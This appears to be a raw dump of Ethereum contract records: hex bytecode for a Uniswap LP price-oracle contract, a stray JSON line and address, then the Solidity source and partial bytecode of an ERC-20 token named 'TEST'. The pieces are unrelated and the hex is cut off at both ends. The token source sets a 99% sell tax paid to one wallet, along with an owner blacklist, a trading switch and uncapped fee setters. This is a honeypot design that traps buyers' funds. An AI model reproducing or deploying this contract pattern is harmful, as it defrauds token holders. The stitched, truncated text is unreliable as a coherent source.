0316610b65565b6102d4610b77565b61018a610c3d565b6101806004803603604081101561033257600080fd5b50803590602001356001600160a01b0316610cad565b6101806004803603602081101561035e57600080fd5b50356001600160a01b0316610e39565b6101806004803603602081101561038457600080fd5b50356001600160a01b0316610ede565b610223610f75565b6103a4610f84565b6040805160ff9092168252519081900360200190f35b610180600480360360208110156103d057600080fd5b50356001600160a01b0316610f8d565b6102d4611023565b6103f0611070565b604080519115158252519081900360200190f35b61040c611089565b604080516001600160e81b039092168252519081900360200190f35b61043061109f565b6040805161ffff9092168252519081900360200190f35b6101806110ae565b6102d46004803603602081101561046557600080fd5b50356001600160a01b0316611135565b610223611147565b6101806004803603602081101561049357600080fd5b50356001600160a01b0316611156565b336000908152602081905260409020546001146104f5576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001805460006003819055600481905560ff19909116821762ffffff169091556040517fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b9190a1565b33600090815260026020526040812054819060011461058e5760405162461bcd60e51b8152600401808060200182810382526025815260200180611a1f6025913960400191505060405180910390fd5b50506004546001600160801b0380821691600160801b9004166001149091565b600154600881901c61ffff169060ff81169060181c8115610616576040805162461bcd60e51b815260206004820152601760248201527f47556e694c504f7261636c652f69732d73746f70706564000000000000000000604482015290519081900360640190fd5b8042101561066b576040805162461bcd60e51b815260206004820152601760248201527f47556e694c504f7261636c652f6e6f742d706173736564000000000000000000604482015290519081900360640190fd5b50506000610677611254565b90506001600160801b0381166106d4576040805162461bcd60e51b815260206004820152601a60248201527f47556e694c504f7261636c652f696e76616c69642d7072696365000000000000604482015290519081900360640190fd5b6106dc6119c4565b50604080518082018252600480546001600160801b03808216808552600160801b80840483166020808801829052600380546fffffffffffffffffffffffffffffffff199081169095178616928402929092179091558751808901895289851680825260019183018290529390951683178416909117909455600888901b42890160181b01909255835185519116815291820152825191927f80a5d0081d7e9a7bdb15ef207c6e0772f0f56d24317693206c0e47408f2d0b7392918290030190a1005b336000908152602081905260409020546001146107f1576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b60005b8181101561091c57600083838381811061080a57fe5b905060200201356001600160a01b03166001600160a01b03161415610873576040805162461bcd60e51b815260206004820152601a602482015279047556e694c504f7261636c652f6e6f2d636f6e74726163742d360341b604482015290519081900360640190fd5b60016002600085858581811061088557fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2448383838181106108e657fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a16001016107f4565b505050565b7f000000000000000000000000abddafb225e10b90d798bb8a886238fb835e205381565b33600090815260208190526040902054600114610997576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b61ffff8111156109ee576040805162461bcd60e51b815260206004820152601860248201527f47556e694c504f7261636c652f696e76616c69642d686f700000000000000000604482015290519081900360640190fd5b6001805462ffff00191661010061ffff8416021790556040805182815290517fd5cae49d972f01d170fb2d3409c5f318698639863c0403e59e4af06e0ce92817916020908290030190a150565b33600090815260208190526040902054600114610a8d576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b60005b8181101561091c57600060026000858585818110610aaa57fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c838383818110610b0b57fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a1600101610a90565b7f47554e495633444149555344433100000000000000000000000000000000000081565b60026020526000908152604090205481565b33600090815260026020526040812054600114610bc55760405162461bcd60e51b8152600401808060200182810382526025815260200180611a1f6025913960400191505060405180910390fd5b600354600160801b90046001600160801b0316600114610c2c576040805162461bcd60e51b815260206004820152601d60248201527f47556e694c504f7261636c652f6e6f2d63757272656e742d76616c7565000000604482015290519081900360640190fd5b506003546001600160801b03165b90565b336000908152600260205260408120548190600114610c8d5760405162461bcd60e51b8152600401808060200182810382526025815260200180611a1f6025913960400191505060405180910390fd5b50506003546001600160801b0380821691600160801b9004166001149091565b33600090815260208190526040902054600114610cff576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001600160a01b038116610d57576040805162461bcd60e51b815260206004820152601a602482015279047556e694c504f7261636c652f6e6f2d636f6e74726163742d360341b604482015290519081900360640190fd5b81610d7c57600580546001600160a01b0319166001600160a01b038316179055610df2565b8160011415610da557600680546001600160a01b0319166001600160a01b038316179055610df2565b6040805162461bcd60e51b815260206004820152601760248201527f47556e694c504f7261636c652f696e76616c69642d6964000000000000000000604482015290519081900360640190fd5b604080518381526001600160a01b038316602082015281517f57e1d18531e0ed6c4f60bf6039e5719aa115e43e43847525125856433a69f7a7929181900390910190a15050565b33600090815260208190526040902054600114610e8b576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260026020908152604080832092909255815192835290517f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c9281900390910190a150565b33600090815260208190526040902054600114610f30576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001600160a01b03811660008181526020819052604080822060019055517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a250565b6005546001600160a01b031681565b60015460ff1681565b33600090815260208190526040902054600114610fdf576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260208190526040808220829055517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9190a250565b600154600090630100000090046001600160e81b031661104557506000610c3a565b60015461106b90630100000081046001600160e81b031690610100900461ffff166116fc565b905090565b600154630100000090046001600160e81b031642101590565b600154630100000090046001600160e81b031681565b600154610100900461ffff1681565b33600090815260208190526040902054600114611100576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001805460ff191690556040517f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b90600090a1565b60006020819052908152604090205481565b6006546001600160a01b031681565b336000908152602081905260409020546001146111a8576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001600160a01b038116611200576040805162461bcd60e51b815260206004820152601a602482015279047556e694c504f7261636c652f6e6f2d636f6e74726163742d360341b604482015290519081900360640190fd5b6001600160a01b03811660008181526002602090815260409182902060019055815192835290517f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2449281900390910190a150565b600080600560009054906101000a90046001600160a01b03166001600160a01b03166357de26a46040518163ffffffff1660e01b815260040160206040518083038186803b1580156112a557600080fd5b505afa1580156112b9573d6000803e3d6000fd5b505050506040513d60208110156112cf57600080fd5b505190508061130f5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a446023913960400191505060405180910390fd5b600654604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b15801561135457600080fd5b505afa158015611368573d6000803e3d6000fd5b505050506040513d602081101561137e57600080fd5b50519050806113be5760405162461bcd60e51b81526004018080602001828103825260238152602001806119dc6023913960400191505060405180910390fd5b600061144f60306114366113f2857f0000000000000000000000000000000000000000000000000de0b6b3a764000061175a565b61142961141f887f00000000000000000000000000000000000000000000000000000000000f424061175a565b600160601b61175a565b8161143057fe5b046117c6565b6001600160801b0316901b6001600160801b031661190e565b90506000807f000000000000000000000000abddafb225e10b90d798bb8a886238fb835e20536001600160a01b031663b670ed7d846040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050604080518083038186803b1580156114c057600080fd5b505afa1580156114d4573d6000803e3d6000fd5b505050506040513d60408110156114ea57600080fd5b5080516020909101519092509050811515806115065750600081115b611557576040805162461bcd60e51b815260206004820152601d60248201527f47556e694c504f7261636c652f696e76616c69642d62616c616e636573000000604482015290519081900360640190fd5b60007f000000000000000000000000abddafb225e10b90d798bb8a886238fb835e20536001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156115b257600080fd5b505afa1580156115c6573d6000803e3d6000fd5b505050506040513d60208110156115dc57600080fd5b50519050633b9aca008110156116235760405162461bcd60e51b8152600401808060200182810382526023815260200180611a676023913960400191505060405180910390fd5b60008161168f61165c89611657887f000000000000000000000000000000000000000000000000000000000000000161175a565b61175a565b61168a89611657887f000000000000000000000000000000000000000000000000000000e8d4a5100061175a565b61196c565b8161169657fe5b049050600160801b81106116f1576040805162461bcd60e51b815260206004820152601b60248201527f47556e694c504f7261636c652f71756f74652d6f766572666c6f770000000000604482015290519081900360640190fd5b979650505050505050565b80820382811115611754576040805162461bcd60e51b815260206004820152601a60248201527f47556e694c504f7261636c652f7375622d756e646572666c6f77000000000000604482015290519081900360640190fd5b92915050565b60008115806117755750508082028282828161177257fe5b04145b611754576040805162461bcd60e51b815260206004820152601960248201527f47556e694c504f7261636c652f6d756c2d6f766572666c6f7700000000000000604482015290519081900360640190fd5b6000816117d557506000611909565b816001600160801b82106117ee5760809190911c9060401b5b6801000000000000000082106118095760409190911c9060201b5b64010000000082106118205760209190911c9060101b5b6201000082106118355760109190911c9060081b5b61010082106118495760089190911c9060041b5b6010821061185c5760049190911c9060021b5b600882106118685760011b5b600181858161187357fe5b048201901c9050600181858161188557fe5b048201901c9050600181858161189757fe5b048201901c905060018185816118a957fe5b048201901c905060018185816118bb57fe5b048201901c905060018185816118cd57fe5b048201901c905060018185816118df57fe5b048201901c905060008185816118f157fe5b0490508082106119015780611903565b815b93505050505b919050565b806001600160a01b0381168114611909576040805162461bcd60e51b815260206004820152601d60248201527f47556e694c504f7261636c652f75696e743136302d6f766572666c6f77000000604482015290519081900360640190fd5b80820182811015611754576040805162461bcd60e51b815260206004820152601960248201527f47556e694c504f7261636c652f6164642d6f766572666c6f7700000000000000604482015290519081900360640190fd5b60408051808201909152600080825260208201529056fe47556e694c504f7261636c652f696e76616c69642d6f7261636c652d312d707269636547556e694c504f7261636c652f6e6f742d617574686f72697a6564000000000047556e694c504f7261636c652f636f6e74726163742d6e6f742d77686974656c697374656447556e694c504f7261636c652f696e76616c69642d6f7261636c652d302d707269636547556e694c504f7261636c652f746f74616c2d737570706c792d746f6f2d736d616c6ca2646970667358221220869df76b56e08bd8fae51cc93bbbd6e3973eb722c14fb3c70763bc9656afd8a964736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,301
0x45dc8efd51b19a257d24d3925a2a47c1159173f1
/** *Submitted for verification at Etherscan.io on 2022-05-04 */ /** *Submitted for verification at Etherscan.io on 2022-04-26 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract TEST is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "TEST"; string private constant _symbol = "TEST"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 9; //Sell Fee uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 99; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xA62c5bA4D3C95b3dDb247EAbAa2C8E56BAC9D6dA); address payable private _marketingAddress = payable(0xA62c5bA4D3C95b3dDb247EAbAa2C8E56BAC9D6dA); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 10000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.mul(33).div(100)); _marketingAddress.transfer(amount.mul(67).div(100)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610512578063dd62ed3e14610528578063ea1644d51461056e578063f2fde38b1461058e57600080fd5b8063a9059cbb1461048d578063bfd79284146104ad578063c3c8cd80146104dd578063c492f046146104f257600080fd5b80638f9a55c0116100d15780638f9a55c01461043757806395d89b41146101fe57806398a5c3151461044d578063a2a957bb1461046d57600080fd5b80637d1db4a5146103e35780638da5cb5b146103f95780638f70ccf71461041757600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037957806370a082311461038e578063715018a6146103ae57806374010ece146103c357600080fd5b8063313ce567146102fd57806349bd5a5e146103195780636b999053146103395780636d8aa8f81461035957600080fd5b80631694505e116101ab5780631694505e1461026a57806318160ddd146102a257806323b872dd146102c75780632fd689e3146102e757600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023a57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ade565b6105ae565b005b34801561020a57600080fd5b506040805180820182526004815263151154d560e21b602082015290516102319190611c08565b60405180910390f35b34801561024657600080fd5b5061025a610255366004611a34565b61065b565b6040519015158152602001610231565b34801561027657600080fd5b5060155461028a906001600160a01b031681565b6040516001600160a01b039091168152602001610231565b3480156102ae57600080fd5b50678ac7230489e800005b604051908152602001610231565b3480156102d357600080fd5b5061025a6102e23660046119f4565b610672565b3480156102f357600080fd5b506102b960195481565b34801561030957600080fd5b5060405160098152602001610231565b34801561032557600080fd5b5060165461028a906001600160a01b031681565b34801561034557600080fd5b506101fc610354366004611984565b6106db565b34801561036557600080fd5b506101fc610374366004611ba5565b610726565b34801561038557600080fd5b506101fc61076e565b34801561039a57600080fd5b506102b96103a9366004611984565b6107b9565b3480156103ba57600080fd5b506101fc6107db565b3480156103cf57600080fd5b506101fc6103de366004611bbf565b61084f565b3480156103ef57600080fd5b506102b960175481565b34801561040557600080fd5b506000546001600160a01b031661028a565b34801561042357600080fd5b506101fc610432366004611ba5565b61087e565b34801561044357600080fd5b506102b960185481565b34801561045957600080fd5b506101fc610468366004611bbf565b6108c6565b34801561047957600080fd5b506101fc610488366004611bd7565b6108f5565b34801561049957600080fd5b5061025a6104a8366004611a34565b610933565b3480156104b957600080fd5b5061025a6104c8366004611984565b60116020526000908152604090205460ff1681565b3480156104e957600080fd5b506101fc610940565b3480156104fe57600080fd5b506101fc61050d366004611a5f565b610994565b34801561051e57600080fd5b506102b960085481565b34801561053457600080fd5b506102b96105433660046119bc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057a57600080fd5b506101fc610589366004611bbf565b610a43565b34801561059a57600080fd5b506101fc6105a9366004611984565b610a72565b6000546001600160a01b031633146105e15760405162461bcd60e51b81526004016105d890611c5b565b60405180910390fd5b60005b81518110156106575760016011600084848151811061061357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061064f81611d6e565b9150506105e4565b5050565b6000610668338484610b5c565b5060015b92915050565b600061067f848484610c80565b6106d184336106cc85604051806060016040528060288152602001611dcb602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bc565b610b5c565b5060019392505050565b6000546001600160a01b031633146107055760405162461bcd60e51b81526004016105d890611c5b565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107505760405162461bcd60e51b81526004016105d890611c5b565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107a357506014546001600160a01b0316336001600160a01b0316145b6107ac57600080fd5b476107b6816111f6565b50565b6001600160a01b03811660009081526002602052604081205461066c9061128b565b6000546001600160a01b031633146108055760405162461bcd60e51b81526004016105d890611c5b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108795760405162461bcd60e51b81526004016105d890611c5b565b601755565b6000546001600160a01b031633146108a85760405162461bcd60e51b81526004016105d890611c5b565b60168054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f05760405162461bcd60e51b81526004016105d890611c5b565b601955565b6000546001600160a01b0316331461091f5760405162461bcd60e51b81526004016105d890611c5b565b600993909355600b91909155600a55600c55565b6000610668338484610c80565b6013546001600160a01b0316336001600160a01b0316148061097557506014546001600160a01b0316336001600160a01b0316145b61097e57600080fd5b6000610989306107b9565b90506107b68161130f565b6000546001600160a01b031633146109be5760405162461bcd60e51b81526004016105d890611c5b565b60005b82811015610a3d5781600560008686858181106109ee57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a039190611984565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3581611d6e565b9150506109c1565b50505050565b6000546001600160a01b03163314610a6d5760405162461bcd60e51b81526004016105d890611c5b565b601855565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b81526004016105d890611c5b565b6001600160a01b038116610b015760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105d8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d8565b6001600160a01b038216610c1f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d8565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105d8565b6001600160a01b038216610d465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105d8565b60008111610da85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105d8565b6000546001600160a01b03848116911614801590610dd457506000546001600160a01b03838116911614155b156110b557601654600160a01b900460ff16610e6d576000546001600160a01b03848116911614610e6d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105d8565b601754811115610ebf5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105d8565b6001600160a01b03831660009081526011602052604090205460ff16158015610f0157506001600160a01b03821660009081526011602052604090205460ff16155b610f595760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105d8565b6016546001600160a01b03838116911614610fde5760185481610f7b846107b9565b610f859190611d00565b10610fde5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c657